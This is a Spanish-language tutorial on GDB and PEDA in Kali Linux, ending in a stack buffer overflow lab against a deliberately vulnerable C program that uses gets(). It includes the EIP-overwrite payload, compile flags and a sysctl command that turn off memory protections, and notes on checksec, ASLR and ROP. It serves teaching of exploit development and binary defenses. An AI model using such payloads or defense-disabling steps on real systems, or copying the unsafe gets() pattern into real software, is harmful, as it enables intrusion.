GDB en Español para Kali Linux
GDB en Español para Kali Linux
GDB (GNU Debugger) es la herramienta estándar para depurar programas en Kali Linux. Es fundamental para tareas de ingeniería inversa, desarrollo de exploits y análisis de vulnerabilidades.
Aquí tienes una guía rápida para empezar a usarlo en español.
1. Instalación y Configuración
Por lo general, GDB ya viene instalado en Kali Linux. Si no lo tienes, puedes instalarlo con:
sudo apt update && sudo apt install gdb
Mejorar la interfaz (GDB-PEDA)
GDB por defecto es muy austero (solo texto). La mayoría de los analistas de seguridad en Kali usan PEDA (Python Exploit Development Assistance), que añade colores y muestra registros, código y la pila (stack) simultáneamente.
Para instalarlo:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
2. Comandos Esenciales
Para depurar un archivo binario, usa: gdb ./nombre_del_programa
Control de Ejecución
run(r): Inicia la ejecución del programa.break [punto](b): Establece un punto de interrupción. Ejemplo:break mainobreak *0x08048456.next(n): Ejecuta la siguiente línea de código (salta sobre las funciones).step(s): Entra dentro de las funciones.continue(c): Continúa la ejecución hasta el siguiente breakpoint.quit(q): Salir de GDB.
Inspección de Datos
info registers(i r): Muestra el valor de todos los registros de la CPU.list(l): Muestra el código fuente (si está disponible).disassemble [función](disas): Muestra el código en lenguaje ensamblador.print [variable](p): Muestra el valor de una variable.x/[formato] [dirección]: Examina el contenido de la memoria.Ejemplo:
x/10wx $esp(Muestra 10 palabras en hexadecimal desde el puntero de la pila).
3. Flujo de Trabajo Típico
Cargar:
gdb ./mi_programaAnalizar:
disas mainpara ver la estructura.Interrumpir:
b *mainpara detenerse al inicio.Ejecutar:
rObservar: Usar
i rpara ver cómo cambian los registros ($EAX, $EBP, $ESP, etc.) tras cada instrucción.
4. Depuración de Procesos en Ejecución
Si quieres analizar un servicio que ya está corriendo (como un servidor web):
Busca el PID:
ps aux | grep nombre_procesoAdjunta GDB:
sudo gdb -p [PID]
¿Diferencia entre sintaxis Intel y AT&T?
Kali/GDB usa por defecto AT&T, pero si prefieres la lectura tipo Intel (más común en tutoriales de hacking), usa este comando dentro de GDB:
set disassembly-flavor intel Vamos a realizar un ejercicio práctico de Buffer Overflow (desbordamiento de búfer) controlado. El objetivo es entender cómo la memoria se corrompe cuando un programa no valida el tamaño de lo que el usuario introduce.
1. El Código Vulnerable (C)
Primero, imagina un programa sencillo llamado vulnerable.c:
#include <stdio.h>
#include <string.h>
void funcion_secreta() {
printf("¡Has accedido a la función secreta!\n");
}
void vulnerable() {
char buffer[64];
printf("Introduce tu nombre: ");
gets(buffer); // <--- Función peligrosa, no limita la entrada
}
int main() {
vulnerable();
return 0;
}
Para practicar en Kali, compílalo desactivando las protecciones modernas:
gcc -fno-stack-protector -z execstack -no-pie -m32 vulnerable.c -o vulnerable
2. Anatomía de la Memoria
Cuando llamamos a la función vulnerable(), se crea un "Stack Frame" (marco de pila). El objetivo del exploit es llenar el buffer y seguir escribiendo hasta sobrescribir la Dirección de Retorno (EIP).
Buffer: Espacio reservado para datos (64 bytes).
EBP: Puntero base del marco anterior.
Return Address (EIP): La dirección de la siguiente instrucción que el CPU debe ejecutar tras terminar la función. Si controlamos esto, controlamos el programa.
3. Pasos en GDB (con PEDA)
Paso A: Encontrar el punto de quiebre
Abre el programa: gdb ./vulnerable.
Crea un patrón largo para ver dónde se rompe:
gdb-peda$ pattern create 100
Copia ese patrón y ejecuta el programa con run. Cuando te pida el nombre, pega el patrón.
Paso B: Localizar el Offset
El programa se cerrará con un error de segmentación (Segmentation fault). PEDA te dirá algo como:
Stopped reason: SIGSEGV
EIP: 0x41414141 ('AAAA')
Para saber exactamente cuántos bytes faltan para llegar al EIP:
gdb-peda$ pattern offset [valor_de_EIP]
Si te dice que el offset es 76, significa que después de 76 letras "A", los siguientes 4 bytes serán la dirección a donde saltará el programa.
Paso C: Redirigir la ejecución
Queremos saltar a funcion_secreta. Primero buscamos su dirección:
gdb-peda$ info functions
Supongamos que la dirección es 0x08048456.
4. El Exploit Final
Ahora lanzamos el programa enviando 76 "A"s seguidas de la dirección de la función secreta (en formato Little Endian, es decir, al revés):
run $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*76 + b"\x56\x84\x04\x08")')
Resultado: Verás en pantalla el mensaje: "¡Has accedido a la función secreta!". Aunque el código original nunca llama a esa función, hemos manipulado el flujo del CPU usando GDB.
Entender las protecciones de un binario es el primer paso antes de lanzar GDB, ya que te dirá qué técnicas funcionarán y cuáles no. En Kali Linux, la herramienta estándar para esto es checksec.
1. ¿Qué es checksec?
Es un script que comprueba las propiedades de seguridad de un archivo ejecutable. Viene preinstalado en el paquete binutils o como parte de herramientas como pwntools.
Para usarlo, simplemente escribe:
checksec --file=vulnerable
El resultado típico se ve así:
2. ¿Qué significan estas defensas?
| Sigla | Nombre | Qué hace | Si está activado (Enabled)... |
| CANARY | Stack Canary | Pone un "valor secreto" antes del EIP. | Si intentas un Buffer Overflow, el programa detecta el cambio y se cierra antes de saltar. |
| NX | No-Execute | Marca la pila como no ejecutable. | No puedes ejecutar código malicioso (shellcode) directamente desde la pila. |
| PIE | Position Independent Executable | Carga el programa en una dirección de memoria distinta cada vez. | No sabrás la dirección de funcion_secreta de antemano; tendrías que adivinarla o filtrarla. |
| RELRO | Relocation Read-Only | Protege la tabla de funciones (GOT). | Evita que sobrescribas direcciones de funciones de librerías como printf o system. |
3. ASLR: El enemigo invisible
Existe otra protección que no depende del archivo, sino del sistema operativo: el ASLR (Address Space Layout Randomization). Este desordena las direcciones de las librerías (como la libc).
Para ver si está activo en tu Kali Linux:
cat /proc/sys/kernel/randomize_va_space
0: Desactivado.
2: Activado por completo (lo normal en sistemas modernos).
Nota Pro: Cuando practiques en GDB, a veces verás que las direcciones cambian. Puedes desactivar el ASLR temporalmente en Kali para facilitar tus pruebas con:
sudo sysctl -w kernel.randomize_va_space=0.
4. Ejemplo práctico: Saltarse el NX
Si un programa tiene NX Enabled, no puedes ejecutar código en la pila. En ese caso, los hackers usan una técnica llamada ROP (Return Oriented Programming). En lugar de inyectar código, "saltan" a trozos de código que ya existen en el programa o en sus librerías para encadenarlos.